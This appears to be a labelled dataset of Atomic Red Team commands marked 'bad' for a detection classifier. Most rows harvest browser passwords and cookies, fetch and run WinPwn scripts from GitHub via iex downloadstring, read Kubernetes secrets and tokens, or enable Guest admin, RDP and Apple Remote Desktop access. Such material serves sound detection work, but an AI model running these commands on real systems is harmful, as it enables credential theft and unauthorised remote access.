04a265cdb3c481584eaaa693,"Remove-Item ""#{file_path}\Sysinternals"" -Force -Recurse -ErrorAction Ignore","Remove-Item ""#{file_path}\Sysinternals"" -Force -Recurse -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Run Chrome-password Collector,T1555.003,"[""T1555.003""]",windows,0.55,True,"A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating ""Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly"". Upon completion, final output will be a file modification of PathToAtomicsFolder\..\ExternalPayloads\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/att",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3b7cdeca72f8d2be4660bdaf,"cd ~/Library/Cookies grep -q ""#{search_string}"" ""Cookies.binarycookies""","cd ~/Library/Cookies grep -q ""#{search_string}"" ""Cookies.binarycookies""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Search macOS Safari Cookies,T1555.003,"[""T1555.003""]",macos,0.9,False,"This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
53233e1caece3392bc500c3f,"""#{lazagne_path}"" browsers","""#{lazagne_path}"" browsers",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,LaZagne - Credentials from Browser,T1555.003,"[""T1555.003""]",windows,0.9,False,"The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.
LaZagne is an open source application used to retrieve passwords stored on a local computer. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c1f4aad22f140b4cb2b82abb,"Copy-Item ""$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads"" Copy-Item ""$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads""","Copy-Item ""$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads"" Copy-Item ""$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Chrome Login Data,T1555.003,"[""T1555.003""]",windows,0.9,False,"Simulates an adversary accessing encrypted credentials from Google Chrome Login database. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ad61ab30ecf7280f0b08c46,"Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Login Data"" -Force -ErrorAction Ignore Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account"" -Force -ErrorAction Ignore","Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Login Data"" -Force -ErrorAction Ignore Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Login Data For Account"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Chrome Login Data,T1555.003,"[""T1555.003""]",windows,0.55,True,"Simulates an adversary accessing encrypted credentials from Google Chrome Login database. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cdd7beb2349b12f3f0f08855,"Copy-Item ""$env:APPDATA\Opera Software\Opera Stable\Login Data"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads""","Copy-Item ""$env:APPDATA\Opera Software\Opera Stable\Login Data"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Opera Login Data,T1555.003,"[""T1555.003""]",windows,0.9,False,"Simulates an adversary accessing encrypted credentials from Opera web browser's login database. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0865406dd63bdb798de01c45,"Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Login Data"" -Force -ErrorAction Ignore","Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Login Data"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Opera Login Data,T1555.003,"[""T1555.003""]",windows,0.55,True,"Simulates an adversary accessing encrypted credentials from Opera web browser's login database. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b9d64ac5aded27300a6995e7,"Copy-Item ""$env:APPDATA\Mozilla\Firefox\Profiles\"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads"" -Force -Recurse","Copy-Item ""$env:APPDATA\Mozilla\Firefox\Profiles\"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads"" -Force -Recurse",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Windows Firefox Login Data,T1555.003,"[""T1555.003""]",windows,0.9,False,"Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
03a49610772dd6fe0f6d332f,"Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Profiles"" -Force -ErrorAction Ignore -Recurse","Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Profiles"" -Force -ErrorAction Ignore -Recurse",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Windows Firefox Login Data,T1555.003,"[""T1555.003""]",windows,0.55,True,"Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7617002029a68b717291bc59,"Copy-Item ""$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads\Edge"" -Force -Recurse","Copy-Item ""$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default"" -Destination ""PathToAtomicsFolder\..\ExternalPayloads\Edge"" -Force -Recurse",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Windows Edge Login Data,T1555.003,"[""T1555.003""]",windows,0.9,False,"Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96e9548af893f857f9f6080a,"Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Edge"" -Force -ErrorAction Ignore -Recurse","Remove-Item -Path ""PathToAtomicsFolder\..\ExternalPayloads\Edge"" -Force -ErrorAction Ignore -Recurse",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating access to Windows Edge Login Data,T1555.003,"[""T1555.003""]",windows,0.55,True,"Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8c3439045f1424b50ef88ab2,"$PasswordDBLocation = get-childitem -path ""$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"" cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath} cat #{Out_Filepath}","$PasswordDBLocation = get-childitem -path ""$env:appdata\Mozilla\Firefox\Profiles\*.default-release\"" cmd /c #{venv_path}\Scripts\python.exe #{Firepwd_Path} -d $PasswordDBLocation > #{Out_Filepath} cat #{Out_Filepath}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Decrypt Mozilla Passwords with Firepwd.py,T1555.003,"[""T1555.003""]",windows,0.9,False,"Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.
Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. 

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
93e93408191ff84840fd7d09,"Remove-Item -Path ""#{Out_Filepath}"" -erroraction silentlycontinue","Remove-Item -Path ""#{Out_Filepath}"" -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Decrypt Mozilla Passwords with Firepwd.py,T1555.003,"[""T1555.003""]",windows,0.55,True,"Firepwd.py is a script that can decrypt Mozilla (Thunderbird, Firefox) passwords.
Upon successful execution, the decrypted credentials will be output to a text file, as well as displayed on screen. 

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
700f2e3fda8478242ad2f7cb,python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file},python3 #{lazagne_path}/laZagne.py #{specific_module} >> #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,LaZagne.py - Dump Credentials from Firefox Browser,T1555.003,"[""T1555.003""]",linux,0.9,False,"Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
21726e1162f836dc060b0a15,rm -R /tmp/LaZagne; rm -f #{output_file},rm -R /tmp/LaZagne; rm -f #{output_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,LaZagne.py - Dump Credentials from Firefox Browser,T1555.003,"[""T1555.003""]",linux,0.55,True,"Credential Dump Ubuntu 20.04.4 LTS Focal Fossa Firefox Browser, Reference https://github.com/AlessandroZ/LaZagne",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e3a4ab2710f51252113337dc,"Remove-Item -Path ""$env:temp\T1555.003.zip"" -force -erroraction silentlycontinue Remove-Item -Path ""$env:temp\T1555.003\"" -force -recurse -erroraction silentlycontinue","Remove-Item -Path ""$env:temp\T1555.003.zip"" -force -erroraction silentlycontinue Remove-Item -Path ""$env:temp\T1555.003\"" -force -recurse -erroraction silentlycontinue",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Stage Popular Credential Files for Exfiltration,T1555.003,"[""T1555.003""]",windows,0.55,True,"This test is designed to search a drive for credential files used by the most common web browsers on Windows (Firefox, Chrome, Opera, and Edge), export the found files to a folder, and zip it,
simulating how an adversary might stage sensitive credential files for exfiltration in order to conduct offline password extraction with tools like [firepwd.py](https://github.com/lclevy/firepwd) or [HackBrowserData](https://github.com/moonD4rk/HackBrowserData). 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3f99533b6d72d7a28f6db37f,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') browserpwn -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') browserpwn -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,WinPwn - BrowserPwn,T1555.003,"[""T1555.003""]",windows,0.9,False,Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3c182606c4e706621b23b2b0,rm .\System.Data.SQLite.dll -ErrorAction Ignore,rm .\System.Data.SQLite.dll -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,WinPwn - BrowserPwn,T1555.003,"[""T1555.003""]",windows,0.55,True,Collect Browser credentials as well as the history via winpwn browserpwn function of WinPwn.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e0f606a4b57ae00bb783fe03,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') kittenz -consoleoutput -noninteractive,iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') kittenz -consoleoutput -noninteractive,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,WinPwn - Loot local Credentials - mimi-kittenz,T1555.003,"[""T1555.003""]",windows,0.9,False,Loot local Credentials - mimi-kittenz technique via function of WinPwn - Extend timeout to 600s,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a6a6d3279f1b91b3cfe18804,"iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1') Invoke-Sharpweb -command ""all""","iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1') Invoke-Sharpweb -command ""all""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,WinPwn - PowerSharpPack - Sharpweb for Browser Credentials,T1555.003,"[""T1555.003""]",windows,0.9,False,PowerSharpPack - Sharpweb searching for Browser Credentials technique via function of WinPwn,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0960d6dc018cad5328878103,"cp ~/Library/""Application Support/Google/Chrome/Default/Login Data"" ""/tmp/T1555.003_Login Data"" cp ~/Library/""Application Support/Google/Chrome/Default/Login Data For Account"" ""/tmp/T1555.003_Login Data For Account""","cp ~/Library/""Application Support/Google/Chrome/Default/Login Data"" ""/tmp/T1555.003_Login Data"" cp ~/Library/""Application Support/Google/Chrome/Default/Login Data For Account"" ""/tmp/T1555.003_Login Data For Account""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating Access to Chrome Login Data - MacOS,T1555.003,"[""T1555.003""]",macos,0.9,False,"This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. 
Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. 
See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8861de9368d3e728169b2756,"rm ""/tmp/T1555.003_Login Data"" >/dev/null 2>&1 rm ""/tmp/T1555.003_Login Data For Account"" >/dev/null 2>&1","rm ""/tmp/T1555.003_Login Data"" >/dev/null 2>&1 rm ""/tmp/T1555.003_Login Data For Account"" >/dev/null 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Simulating Access to Chrome Login Data - MacOS,T1555.003,"[""T1555.003""]",macos,0.55,True,"This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. 
Once the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. 
See https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d64b9a197804a5b30ba84bc3,"Start-Process ""#{webbrowserpassview_path}"" Start-Sleep -Second 4 Stop-Process -Name ""WebBrowserPassView""","Start-Process ""#{webbrowserpassview_path}"" Start-Sleep -Second 4 Stop-Process -Name ""WebBrowserPassView""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,WebBrowserPassView - Credentials from Browser,T1555.003,"[""T1555.003""]",windows,0.9,False,The following Atomic test utilizes WebBrowserPassView to extract passwords from browsers on a Window system. WebBrowserPassView is an open source application used to retrieve passwords stored on a local computer. Recently noticed as a tool used in the BlackCat Ransomware.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bb736f7fe3f2757a5e6d8042,"$profile = (Gci -filter ""*default-release*"" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item ""PathToAtomicsFolder\..\ExternalPayloads"" -Destination $profile\ > $null Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\key4.db"" > $null Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\logins.json"" > $null","$profile = (Gci -filter ""*default-release*"" -path $env:Appdata\Mozilla\Firefox\Profiles\).FullName Remove-Item $profile\key4.db > $null Remove-Item $profile\logins.json > $null Copy-Item ""PathToAtomicsFolder\..\ExternalPayloads"" -Destination $profile\ > $null Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\key4.db"" > $null Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\logins.json"" > $null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,BrowserStealer (Chrome / Firefox / Microsoft Edge),T1555.003,"[""T1555.003""]",windows,0.55,True,"[Github Repo](https://github.com/SaulBerrenson/BrowserStealer) Simple password/cookies stealer for chrome, edge, and gecko based browsers (30 listed working). This attack simulates stealing the data from the browser files and printing them to the command line.
If using to test with Firefox, if the browser is x64 you need to use the x64 build
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
04917c955634cdfae71a419e,"esentutl.exe /y ""%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"" /d ""#{output_path}""","esentutl.exe /y ""%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data"" /d ""#{output_path}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Dump Chrome Login Data with esentutl,T1555.003,"[""T1555.003""]",windows,0.9,False,"This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.
[Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0baedf90161937f6b52c0cb8,del /f /q #{output_path} > nul 2>&1,del /f /q #{output_path} > nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.003/T1555.003.yaml,Dump Chrome Login Data with esentutl,T1555.003,"[""T1555.003""]",windows,0.55,True,"This test simulates an adversary using esentutl to dump encrypted credentials from Google Chrome's Login database.
[Reference](https://actzero.ai/resources/blog/hygiene-tip-shut-down-attackers-harvesting-cached-browser-credentials/)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cabda78c907cd334785905bc,"net user #{guest_user} /active:yes net user #{guest_user} #{guest_password} net localgroup #{local_admin_group} #{guest_user} /add net localgroup ""#{remote_desktop_users_group_name}"" #{guest_user} /add reg add ""hklm\system\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add ""hklm\system\CurrentControlSet\Control\Terminal Server"" /v ""AllowTSConnections"" /t REG_DWORD /d 0x1 /f","net user #{guest_user} /active:yes net user #{guest_user} #{guest_password} net localgroup #{local_admin_group} #{guest_user} /add net localgroup ""#{remote_desktop_users_group_name}"" #{guest_user} /add reg add ""hklm\system\CurrentControlSet\Control\Terminal Server"" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add ""hklm\system\CurrentControlSet\Control\Terminal Server"" /v ""AllowTSConnections"" /t REG_DWORD /d 0x1 /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.001/T1078.001.yaml,Enable Guest account with RDP capability and admin privileges,T1078.001,"[""T1078.001""]",windows,0.9,False,"After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
and desktop will allow multiple RDP connections.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
525cc3814edc909820efcbee,net user #{guest_user} /active:yes,net user #{guest_user} /active:yes,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.001/T1078.001.yaml,Activate Guest Account,T1078.001,"[""T1078.001""]",windows,0.9,False,"The Adversaries can activate the default Guest user. The guest account is inactivated by default
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6847db07278d74372ad8c13f,net user #{guest_user} /active:no,net user #{guest_user} /active:no,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.001/T1078.001.yaml,Activate Guest Account,T1078.001,"[""T1078.001""]",windows,0.55,True,"The Adversaries can activate the default Guest user. The guest account is inactivated by default
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fdb5c3b9cacb9a4312ba4b64,sudo sysadminctl -guestAccount on,sudo sysadminctl -guestAccount on,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.001/T1078.001.yaml,Enable Guest Account on macOS,T1078.001,"[""T1078.001""]",macos,0.9,False,This test enables the guest account on macOS using sysadminctl utility.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1c838efe906ed80b8a996568,sudo sysadminctl -guestAccount off,sudo sysadminctl -guestAccount off,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1078.001/T1078.001.yaml,Enable Guest Account on macOS,T1078.001,"[""T1078.001""]",macos,0.55,True,This test enables the guest account on macOS using sysadminctl utility.,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5ec5078871ed4c048ab53e54,"kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc ""mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json""","kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc ""mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1195.002/T1195.002.yaml,Simulate npm package installation on a Linux system,T1195.002,"[""T1195.002""]","containers,linux",0.9,False,"Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency confusion) from within a container. The pod is deleted after execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0f5116188de7e4f3f5048d0,kubectl get secrets --all-namespaces,kubectl get secrets --all-namespaces,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.007/T1552.007.yaml,List All Secrets,T1552.007,"[""T1552.007""]",containers,0.9,False,"A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster.
[More information about secrets](https://k",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0208cb1b24d46136bf8abb68,kubectl get secrets -n #{namespace},kubectl get secrets -n #{namespace},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.007/T1552.007.yaml,ListSecrets,T1552.007,"[""T1552.007""]",containers,0.9,False,"A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
82b6161459619d0324c0ca61,kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token,kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.007/T1552.007.yaml,Cat the contents of a Kubernetes service account token file,T1552.007,"[""T1552.007""]",linux,0.9,False,"Access the Kubernetes service account access token stored within a container in a cluster.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
921436caff72556fffe899cd,kubectl --context kind-atomic-cluster delete pod atomic-pod,kubectl --context kind-atomic-cluster delete pod atomic-pod,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1552.007/T1552.007.yaml,Cat the contents of a Kubernetes service account token file,T1552.007,"[""T1552.007""]",linux,0.55,True,"Access the Kubernetes service account access token stored within a container in a cluster.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dc2ee9850a5aa1bb64ab4990,sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet,sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -allowAccessFor -allUsers -privs -all -quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.005/T1021.005.yaml,Enable Apple Remote Desktop Agent,T1021.005,"[""T1021.005""]",macos,0.9,False,"ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. 
Adversaries can abuse ARD to gain remote code execution and perform lateral movement.

References:  https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f84e6333cf326d2c11303e73,sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet,sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -stop -configure -privs -none -quiet,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1021.005/T1021.005.yaml,Enable Apple Remote Desktop Agent,T1021.005,"[""T1021.005""]",macos,0.55,True,"ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. 
Adversaries can abuse ARD to gain remote code execution and perform lateral movement.

References:  https://www.mandiant.com/resources/blog/leveraging-apple-remote-desktop-for-good-and-evil
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
734d2bdf591bc3fc9bcf9be5,systemctl stop #{systemd_service_file} systemctl disable #{systemd_service_file} rm -rf #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload,systemctl stop #{systemd_service_file} systemctl disable #{systemd_service_file} rm -rf #{systemd_service_path}/#{systemd_service_file} systemctl daemon-reload,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.002/T1543.002.yaml,Create Systemd Service,T1543.002,"[""T1543.002""]",linux,0.55,True,"This test creates a Systemd service unit file and enables it as a service.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c66c4739b50b9d6296584b99,sysrc -x art_test_enable rm -f #{rc_service_path}/#{rc_service_file},sysrc -x art_test_enable rm -f #{rc_service_path}/#{rc_service_file},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1543.002/T1543.002.yaml,Create SysV Service,T1543.002,"[""T1543.002""]",linux,0.55,True,"This test creates a SysV service unit file and enables it as a service.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
